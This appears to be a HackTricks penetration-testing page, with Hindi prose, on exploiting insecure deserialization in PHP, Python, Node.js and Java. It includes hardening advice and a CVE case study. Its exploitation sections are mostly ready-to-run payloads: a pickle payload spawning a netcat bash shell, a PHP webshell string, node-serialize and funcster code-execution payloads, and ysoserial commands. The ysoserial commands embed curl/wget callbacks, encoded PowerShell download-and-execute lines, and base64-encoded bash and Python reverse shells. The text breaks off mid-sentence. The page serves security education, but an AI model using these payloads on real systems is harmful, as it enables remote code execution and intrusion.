Deserialization
Reading time: 49 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Basic Information
Serialization को एक ऑब्जेक्ट को एक ऐसे प्रारूप में परिवर्तित करने की विधि के रूप में समझा जाता है जिसे संरक्षित किया जा सके, जिसका उद्देश्य या तो ऑब्जेक्ट को संग्रहीत करना है या इसे संचार प्रक्रिया के हिस्से के रूप में प्रसारित करना है। इस तकनीक का सामान्यत: उपयोग यह सुनिश्चित करने के लिए किया जाता है कि ऑब्जेक्ट को बाद में फिर से बनाया जा सके, इसकी संरचना और स्थिति को बनाए रखते हुए।
Deserialization, इसके विपरीत, वह प्रक्रिया है जो serialization का प्रतिकार करती है। इसमें उस डेटा को लेना शामिल है जो एक विशिष्ट प्रारूप में संरचित किया गया है और इसे फिर से एक ऑब्जेक्ट में पुनर्निर्माण करना शामिल है।
Deserialization खतरनाक हो सकता है क्योंकि यह संभावित रूप से हमलावरों को अनुक्रमित डेटा में हेरफेर करने की अनुमति देता है ताकि हानिकारक कोड निष्पादित किया जा सके या ऑब्जेक्ट पुनर्निर्माण प्रक्रिया के दौरान एप्लिकेशन में अप्रत्याशित व्यवहार उत्पन्न कर सके।
PHP
PHP में, serialization और deserialization प्रक्रियाओं के दौरान विशिष्ट जादुई विधियों का उपयोग किया जाता है:
__sleep
: जब एक ऑब्जेक्ट को अनुक्रमित किया जा रहा होता है, तब इसे बुलाया जाता है। यह विधि उन सभी गुणों के नामों का एक ऐरे लौटाना चाहिए जिन्हें अनुक्रमित किया जाना चाहिए। इसका सामान्यत: उपयोग लंबित डेटा को समर्पित करने या समान सफाई कार्य करने के लिए किया जाता है।__wakeup
: जब एक ऑब्जेक्ट को deserialized किया जा रहा होता है, तब इसे बुलाया जाता है। इसका उपयोग उन किसी भी डेटाबेस कनेक्शनों को फिर से स्थापित करने के लिए किया जाता है जो serialization के दौरान खो गए हो सकते हैं और अन्य पुनः आरंभ कार्य करने के लिए।__unserialize
: यह विधि__wakeup
के बजाय (यदि यह मौजूद है) तब बुलाई जाती है जब एक ऑब्जेक्ट को deserialized किया जा रहा होता है। यह__wakeup
की तुलना में deserialization प्रक्रिया पर अधिक नियंत्रण देती है।__destruct
: यह विधि तब बुलाई जाती है जब एक ऑब्जेक्ट नष्ट होने वाला होता है या जब स्क्रिप्ट समाप्त होती है। इसका सामान्यत: उपयोग सफाई कार्यों के लिए किया जाता है, जैसे फ़ाइल हैंडल या डेटाबेस कनेक्शनों को बंद करना।__toString
: यह विधि एक ऑब्जेक्ट को एक स्ट्रिंग के रूप में व्यवहार करने की अनुमति देती है। इसका उपयोग फ़ाइल पढ़ने या इसके भीतर फ़ंक्शन कॉल के आधार पर अन्य कार्यों के लिए किया जा सकता है, प्रभावी रूप से ऑब्जेक्ट का एक पाठ्य प्रतिनिधित्व प्रदान करता है।
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called
__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
यदि आप परिणामों को देखें तो आप देख सकते हैं कि फ़ंक्शन __wakeup
और __destruct
तब कॉल किए जाते हैं जब ऑब्जेक्ट को डीसिरियलाइज़ किया जाता है। ध्यान दें कि कई ट्यूटोरियल में आप पाएंगे कि __toString
फ़ंक्शन तब कॉल किया जाता है जब किसी विशेषता को प्रिंट करने की कोशिश की जाती है, लेकिन स्पष्ट रूप से यह अब नहीं हो रहा है।
warning
यदि इसे क्लास में लागू किया गया है, तो __unserialize(array $data)
मेथड __wakeup()
के बजाय कॉल किया जाता है। यह आपको ऑब्जेक्ट को डीसिरियलाइज़ करने की अनुमति देता है, जिसमें सीरियलाइज्ड डेटा को एक एरे के रूप में प्रदान किया जाता है। आप इस मेथड का उपयोग प्रॉपर्टीज़ को डीसिरियलाइज़ करने और डीसिरियलाइज़ेशन के दौरान आवश्यक कार्य करने के लिए कर सकते हैं।
class MyClass {
private $property;
public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}
आप एक विस्तृत PHP उदाहरण यहाँ पढ़ सकते हैं: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, यहाँ https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf या यहाँ https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
PHP Deserial + Autoload Classes
आप PHP ऑटोलोड फ़ंक्शनलिटी का दुरुपयोग करके मनमाने php फ़ाइलों को लोड कर सकते हैं और अधिक:
PHP - Deserialization + Autoload Classes
संदर्भित मानों को सीरियलाइज़ करना
यदि किसी कारणवश आप एक मान को दूसरे सीरियलाइज्ड मान के संदर्भ के रूप में सीरियलाइज़ करना चाहते हैं, तो आप कर सकते हैं:
<?php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
PHP ऑब्जेक्ट इंजेक्शन को allowed_classes
के साथ रोकना
info
unserialize()
के दूसरे तर्क ($options array) के लिए समर्थन PHP 7.0 में जोड़ा गया था। पुराने संस्करणों में यह फ़ंक्शन केवल अनुक्रमित स्ट्रिंग को स्वीकार करता है, जिससे यह संभव नहीं है कि किन कक्षाओं को स्थापित किया जा सकता है।
unserialize()
हर कक्षा को स्थापित करेगा जो इसे अनुक्रमित स्ट्रीम के अंदर मिलती है जब तक कि अन्यथा न कहा जाए। PHP 7 से व्यवहार को allowed_classes
विकल्प के साथ प्रतिबंधित किया जा सकता है:
// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);
// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false // no classes may be created
]);
// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);
यदि allowed_classes
को छोड़ दिया गया है या कोड PHP < 7.0 पर चलता है, तो कॉल खतरनाक हो जाती है क्योंकि एक हमलावर एक ऐसा पेलोड तैयार कर सकता है जो जादुई विधियों जैसे __wakeup()
या __destruct()
का दुरुपयोग करता है ताकि रिमोट कोड निष्पादन (RCE) प्राप्त किया जा सके।
वास्तविक दुनिया का उदाहरण: Everest Forms (WordPress) CVE-2025-52709
WordPress प्लगइन Everest Forms ≤ 3.2.2 ने एक सहायक रैपर के साथ रक्षात्मक होने की कोशिश की लेकिन पुराने PHP संस्करणों के बारे में भूल गया:
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}
सर्वरों पर जो अभी भी PHP ≤ 7.0 चला रहे थे, यह दूसरा शाखा एक क्लासिक PHP Object Injection की ओर ले गया जब एक प्रशासक ने एक दुर्भावनापूर्ण फॉर्म सबमिशन खोला। एक न्यूनतम एक्सप्लॉइट पेलोड इस तरह दिख सकता है:
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
जैसे ही व्यवस्थापक ने प्रविष्टि को देखा, वस्तु को स्थापित किया गया और SomeClass::__destruct()
निष्पादित हुआ, जिसके परिणामस्वरूप मनमाना कोड निष्पादन हुआ।
महत्वपूर्ण बातें
- हमेशा
['allowed_classes' => false]
(या एक सख्त श्वेत सूची) कोunserialize()
कॉल करते समय पास करें। - रक्षात्मक आवरणों का ऑडिट करें - वे अक्सर विरासती PHP शाखाओं के बारे में भूल जाते हैं।
- केवल PHP ≥ 7.x में अपग्रेड करना पर्याप्त नहीं है: विकल्प को अभी भी स्पष्ट रूप से प्रदान करने की आवश्यकता है।
PHPGGC (PHP के लिए ysoserial)
PHPGGC आपको PHP deserialization का दुरुपयोग करने के लिए पेलोड उत्पन्न करने में मदद कर सकता है।
ध्यान दें कि कई मामलों में आप ऐप्लिकेशन के स्रोत कोड में deserialization का दुरुपयोग करने का कोई तरीका नहीं पाएंगे, लेकिन आप बाहरी PHP एक्सटेंशन के कोड का दुरुपयोग करने में सक्षम हो सकते हैं।
इसलिए, यदि आप कर सकते हैं, तो सर्वर का phpinfo()
जांचें और इंटरनेट पर खोजें (यहां तक कि PHPGGC के gadgets पर) कुछ संभावित गैजेट जो आप दुरुपयोग कर सकते हैं।
phar:// मेटाडेटा deserialization
यदि आपने एक LFI पाया है जो केवल फ़ाइल को पढ़ रहा है और इसके अंदर PHP कोड को निष्पादित नहीं कर रहा है, उदाहरण के लिए file_get_contents(), fopen(), file() या file_exists(), md5_file(), filemtime() या filesize()** का उपयोग करके।** आप phar प्रोटोकॉल का उपयोग करके फ़ाइल पढ़ते समय होने वाली deserialization का दुरुपयोग करने का प्रयास कर सकते हैं।
अधिक जानकारी के लिए निम्नलिखित पोस्ट पढ़ें:
Python
Pickle
जब वस्तु को unpickle किया जाता है, तो फ़ंक्शन ___reduce___ निष्पादित होगा।
जब इसका दुरुपयोग किया जाता है, तो सर्वर एक त्रुटि वापस कर सकता है।
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
print(base64.b64encode(pickle.dumps(P(),2)))
का उपयोग करके एक ऐसा ऑब्जेक्ट उत्पन्न करने का प्रयास करें जो यदि आप python3 चला रहे हैं तो python2 के साथ संगत हो।
pickle jails से बचने के बारे में अधिक जानकारी के लिए देखें:
Yaml & jsonpickle
निम्नलिखित पृष्ठ yaml python पुस्तकालयों में असुरक्षित deserialization का दुरुपयोग करने की तकनीक प्रस्तुत करता है और Pickle, PyYAML, jsonpickle और ruamel.yaml के लिए RCE deserialization payload उत्पन्न करने के लिए एक उपकरण के साथ समाप्त होता है:
Class Pollution (Python Prototype Pollution)
Class Pollution (Python's Prototype Pollution)
NodeJS
JS Magic Functions
JS में PHP या Python की तरह "जादुई" फ़ंक्शन नहीं होते हैं जो केवल एक ऑब्जेक्ट बनाने के लिए निष्पादित होते हैं। लेकिन इसमें कुछ फ़ंक्शन हैं जो सीधे कॉल किए बिना भी अक्सर उपयोग किए जाते हैं जैसे toString
, valueOf
, toJSON
।
यदि आप deserialization का दुरुपयोग करते हैं तो आप इन फ़ंक्शनों को अन्य कोड निष्पादित करने के लिए समझौता कर सकते हैं (संभवतः प्रोटोटाइप प्रदूषण का दुरुपयोग करते हुए) जब इन्हें कॉल किया जाता है तो आप मनमाना कोड निष्पादित कर सकते हैं।
एक और "जादुई" तरीका एक फ़ंक्शन को बिना सीधे कॉल किए कॉल करने का है एक ऑब्जेक्ट को समझौता करके जो एक async फ़ंक्शन (प्रॉमिस) द्वारा लौटाया जाता है। क्योंकि, यदि आप उस रिटर्न ऑब्जेक्ट को एक अन्य प्रॉमिस में "then" नामक फ़ंक्शन प्रकार की प्रॉपर्टी के साथ परिवर्तित करते हैं, तो यह केवल इसलिए निष्पादित होगा क्योंकि इसे एक अन्य प्रॉमिस द्वारा लौटाया गया है। अधिक जानकारी के लिए इस लिंक का पालन करें.
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}
async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
__proto__
और prototype
प्रदूषण
यदि आप इस तकनीक के बारे में जानना चाहते हैं तो निम्नलिखित ट्यूटोरियल पर नज़र डालें:
NodeJS - proto & prototype Pollution
node-serialize
यह पुस्तकालय कार्यों को अनुक्रमित करने की अनुमति देता है। उदाहरण:
var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)
सीरियलाइज्ड ऑब्जेक्ट इस तरह दिखेगा:
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
आप उदाहरण में देख सकते हैं कि जब एक फ़ंक्शन को सीरियलाइज़ किया जाता है तो _$$ND_FUNC$$_
फ़्लैग सीरियलाइज़ किए गए ऑब्जेक्ट में जोड़ा जाता है।
फाइल node-serialize/lib/serialize.js
के अंदर आप वही फ़्लैग और कोड का उपयोग कैसे किया जा रहा है, पा सकते हैं।
जैसा कि आप अंतिम कोड के टुकड़े में देख सकते हैं, यदि फ़्लैग पाया जाता है तो eval
का उपयोग फ़ंक्शन को डीसिरियलाइज़ करने के लिए किया जाता है, इसलिए मूल रूप से उपयोगकर्ता इनपुट eval
फ़ंक्शन के अंदर उपयोग किया जा रहा है।
हालांकि, सिर्फ फ़ंक्शन को सीरियलाइज़ करना इसे निष्पादित नहीं करेगा क्योंकि यह आवश्यक होगा कि कोड का कुछ भाग y.rce
को कॉल कर रहा हो हमारे उदाहरण में और यह अत्यधिक असंभव है।
वैसे भी, आप बस सीरियलाइज़ किए गए ऑब्जेक्ट को संशोधित कर सकते हैं कुछ कोष्ठकों को जोड़कर ताकि जब ऑब्जेक्ट को डीसिरियलाइज़ किया जाए तो सीरियलाइज़ किया गया फ़ंक्शन स्वचालित रूप से निष्पादित हो जाए।
अगले कोड के टुकड़े में अंतिम कोष्ठक पर ध्यान दें और कैसे unserialize
फ़ंक्शन स्वचालित रूप से कोड को निष्पादित करेगा:
var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)
जैसा कि पहले बताया गया था, यह लाइब्रेरी _$$ND_FUNC$$_
के बाद कोड प्राप्त करेगी और इसे eval
का उपयोग करके निष्पादित करेगी। इसलिए, कोड को स्वचालित रूप से निष्पादित करने के लिए आप फंक्शन निर्माण भाग और अंतिम कोष्ठक को हटा सकते हैं और बस एक JS एकल पंक्ति निष्पादित कर सकते हैं जैसे कि निम्नलिखित उदाहरण में:
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)
आप यहां अधिक जानकारी प्राप्त कर सकते हैं कि इस कमजोरियों का लाभ कैसे उठाया जाए।
funcster
funcster का एक महत्वपूर्ण पहलू मानक अंतर्निहित वस्तुओं की अनुपलब्धता है; ये सुलभ दायरे से बाहर हैं। यह प्रतिबंध उन कोड के निष्पादन को रोकता है जो अंतर्निहित वस्तुओं पर विधियों को कॉल करने का प्रयास करते हैं, जिससे "ReferenceError: console is not defined"
जैसी अपवाद उत्पन्न होते हैं जब console.log()
या require(something)
जैसे कमांड का उपयोग किया जाता है।
इस सीमा के बावजूद, सभी मानक अंतर्निहित वस्तुओं सहित वैश्विक संदर्भ तक पूर्ण पहुंच को पुनर्स्थापित करना एक विशिष्ट दृष्टिकोण के माध्यम से संभव है। वैश्विक संदर्भ का सीधे उपयोग करके, इस प्रतिबंध को बायपास किया जा सकता है। उदाहरण के लिए, निम्नलिखित स्निपेट का उपयोग करके पहुंच को फिर से स्थापित किया जा सकता है:
funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)
अधिक जानकारी के लिए इस स्रोत को पढ़ें यहाँ.
serialize-javascript
serialize-javascript पैकेज विशेष रूप से अनुक्रमण के उद्देश्यों के लिए डिज़ाइन किया गया है, जिसमें कोई अंतर्निहित अव्यवस्थित करने की क्षमताएँ नहीं हैं। उपयोगकर्ता अव्यवस्थित करने के लिए अपनी स्वयं की विधि लागू करने के लिए जिम्मेदार हैं। अनुक्रमित डेटा को अव्यवस्थित करने के लिए आधिकारिक उदाहरण द्वारा eval
का प्रत्यक्ष उपयोग सुझाया गया है:
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}
यदि इस फ़ंक्शन का उपयोग ऑब्जेक्ट्स को डीसिरियलाइज़ करने के लिए किया जाता है, तो आप इसे आसानी से शोषण कर सकते हैं:
var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
अधिक जानकारी के लिए इस स्रोत को पढ़ें यहाँ.
Cryo पुस्तकालय
निम्नलिखित पृष्ठों पर आप इस पुस्तकालय का दुरुपयोग करके मनमाने आदेशों को निष्पादित करने के बारे में जानकारी पा सकते हैं:
- https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
- https://hackerone.com/reports/350418
Java - HTTP
Java में, deserialization callbacks deserialization की प्रक्रिया के दौरान निष्पादित होते हैं। इस निष्पादन का दुरुपयोग उन हमलावरों द्वारा किया जा सकता है जो ऐसे दुर्भावनापूर्ण payloads तैयार करते हैं जो इन callbacks को ट्रिगर करते हैं, जिससे संभावित हानिकारक क्रियाओं का निष्पादन होता है।
फिंगरप्रिंट्स
व्हाइट बॉक्स
कोडबेस में संभावित serialization कमजोरियों की पहचान करने के लिए खोजें:
- कक्षाएँ जो
Serializable
इंटरफ़ेस को लागू करती हैं। java.io.ObjectInputStream
,readObject
,readUnshare
फ़ंक्शंस का उपयोग।
विशेष ध्यान दें:
XMLDecoder
का उपयोग बाहरी उपयोगकर्ताओं द्वारा परिभाषित पैरामीटर के साथ।XStream
काfromXML
विधि, विशेष रूप से यदि XStream संस्करण 1.46 या उससे कम है, क्योंकि यह serialization समस्याओं के प्रति संवेदनशील है।ObjectInputStream
जोreadObject
विधि के साथ जुड़ा हुआ है।readObject
,readObjectNodData
,readResolve
, याreadExternal
जैसी विधियों का कार्यान्वयन।ObjectInputStream.readUnshared
।Serializable
का सामान्य उपयोग।
ब्लैक बॉक्स
ब्लैक बॉक्स परीक्षण के लिए, java serialized objects (जो ObjectInputStream
से उत्पन्न होते हैं) को दर्शाने वाले विशिष्ट हस्ताक्षर या "मैजिक बाइट्स" की तलाश करें:
- हेक्साडेसिमल पैटर्न:
AC ED 00 05
। - बेस64 पैटर्न:
rO0
। - HTTP प्रतिक्रिया हेडर जिसमें
Content-type
application/x-java-serialized-object
पर सेट है। - पूर्व संकुचन को दर्शाने वाला हेक्साडेसिमल पैटर्न:
1F 8B 08 00
। - पूर्व संकुचन को दर्शाने वाला बेस64 पैटर्न:
H4sIA
। .faces
एक्सटेंशन वाले वेब फ़ाइलें औरfaces.ViewState
पैरामीटर। इन पैटर्नों की खोज एक वेब एप्लिकेशन में Java JSF ViewState Deserialization के बारे में पोस्ट के अनुसार जांच करने के लिए प्रेरित करनी चाहिए।
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
Check if vulnerable
If you want to learn about how does a Java Deserialized exploit work you should take a look to Basic Java Deserialization, Java DNS Deserialization, and CommonsCollection1 Payload.
White Box Test
आप यह जांच सकते हैं कि क्या कोई ऐसा एप्लिकेशन स्थापित है जिसमें ज्ञात कमजोरियाँ हैं।
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
आप सभी लाइब्रेरीज़ की जांच करने की कोशिश कर सकते हैं जो ज्ञात हैं कि वे कमजोर हैं और जिनके लिए Ysoserial एक एक्सप्लॉइट प्रदान कर सकता है। या आप Java-Deserialization-Cheat-Sheet पर निर्दिष्ट लाइब्रेरीज़ की जांच कर सकते हैं।
आप संभावित गेज़ेट चेन की खोज के लिए gadgetinspector का भी उपयोग कर सकते हैं।
जब आप gadgetinspector चला रहे हों (इसे बनाने के बाद) तो उन सभी चेतावनियों/त्रुटियों की परवाह न करें जिनसे यह गुजर रहा है और इसे पूरा करने दें। यह सभी निष्कर्ष gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt के तहत लिखेगा। कृपया ध्यान दें कि gadgetinspector एक एक्सप्लॉइट नहीं बनाएगा और यह झूठे सकारात्मक संकेत दे सकता है।
ब्लैक बॉक्स टेस्ट
Burp एक्सटेंशन gadgetprobe का उपयोग करके आप कौन सी लाइब्रेरीज़ उपलब्ध हैं (और यहां तक कि संस्करण भी) पहचान सकते हैं। इस जानकारी के साथ, कमजोरी का शोषण करने के लिए एक पेलोड चुनना आसान हो सकता है।
GadgetProbe के बारे में अधिक जानने के लिए इसे पढ़ें।
GadgetProbe ObjectInputStream
deserializations पर केंद्रित है।
Burp एक्सटेंशन Java Deserialization Scanner का उपयोग करके आप कमजोर लाइब्रेरीज़ की पहचान कर सकते हैं जिन्हें ysoserial के साथ शोषित किया जा सकता है और उनका शोषण कर सकते हैं।
Java Deserialization Scanner के बारे में अधिक जानने के लिए इसे पढ़ें।
Java Deserialization Scanner ObjectInputStream
deserializations पर केंद्रित है।
आप Freddy का भी उपयोग कर सकते हैं Burp में deserializations कमजोरियों का पता लगाने के लिए। यह प्लगइन केवल ObjectInputStream
से संबंधित कमजोरियों का पता नहीं लगाएगा बल्कि Json और Yml deserialization लाइब्रेरीज़ से भी कमजोरियों का पता लगाएगा। सक्रिय मोड में, यह नींद या DNS पेलोड का उपयोग करके उन्हें पुष्टि करने की कोशिश करेगा।
आप यहां Freddy के बारे में अधिक जानकारी प्राप्त कर सकते हैं।
Serialization टेस्ट
सभी कुछ यह जांचने के बारे में नहीं है कि क्या सर्वर द्वारा कोई कमजोर लाइब्रेरी का उपयोग किया जा रहा है। कभी-कभी आप serialized object के अंदर डेटा को बदलने और कुछ जांचों को बायपास करने में सक्षम हो सकते हैं (शायद आपको एक वेब ऐप के अंदर प्रशासनिक विशेषाधिकार प्रदान करें)।
यदि आप एक जावा serialized object पाते हैं जो एक वेब एप्लिकेशन को भेजा जा रहा है, तो आप उपयोग कर सकते हैं SerializationDumper जिससे आप भेजे गए serialization object को अधिक मानव-पठनीय प्रारूप में प्रिंट कर सकें। यह जानना कि आप कौन सा डेटा भेज रहे हैं, इसे संशोधित करना और कुछ जांचों को बायपास करना आसान होगा।
शोषण
ysoserial
जावा deserializations का शोषण करने के लिए मुख्य उपकरण ysoserial है (यहां डाउनलोड करें)। आप ysoseral-modified का उपयोग करने पर भी विचार कर सकते हैं जो आपको जटिल कमांड (उदाहरण के लिए पाइप के साथ) का उपयोग करने की अनुमति देगा।
ध्यान दें कि यह उपकरण ObjectInputStream
के शोषण पर केंद्रित है।
मैं RCE पेलोड से पहले "URLDNS" पेलोड का उपयोग करना शुरू करूंगा यह परीक्षण करने के लिए कि क्या इंजेक्शन संभव है। वैसे भी, ध्यान दें कि शायद "URLDNS" पेलोड काम नहीं कर रहा है लेकिन अन्य RCE पेलोड काम कर रहा है।
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 encode payload in base64
base64 -w0 payload
जब java.lang.Runtime.exec() के लिए एक payload बनाते हैं, तो आप विशेष वर्ण जैसे ">" या "|" का उपयोग नहीं कर सकते हैं ताकि निष्पादन का आउटपुट पुनर्निर्देशित किया जा सके, "$()" का उपयोग करके आदेश निष्पादित करने के लिए या यहां तक कि कमांड के लिए तर्क पास करने के लिए जो स्पेस द्वारा अलग किए गए हैं (आप echo -n "hello world"
कर सकते हैं लेकिन आप python2 -c 'print "Hello world"'
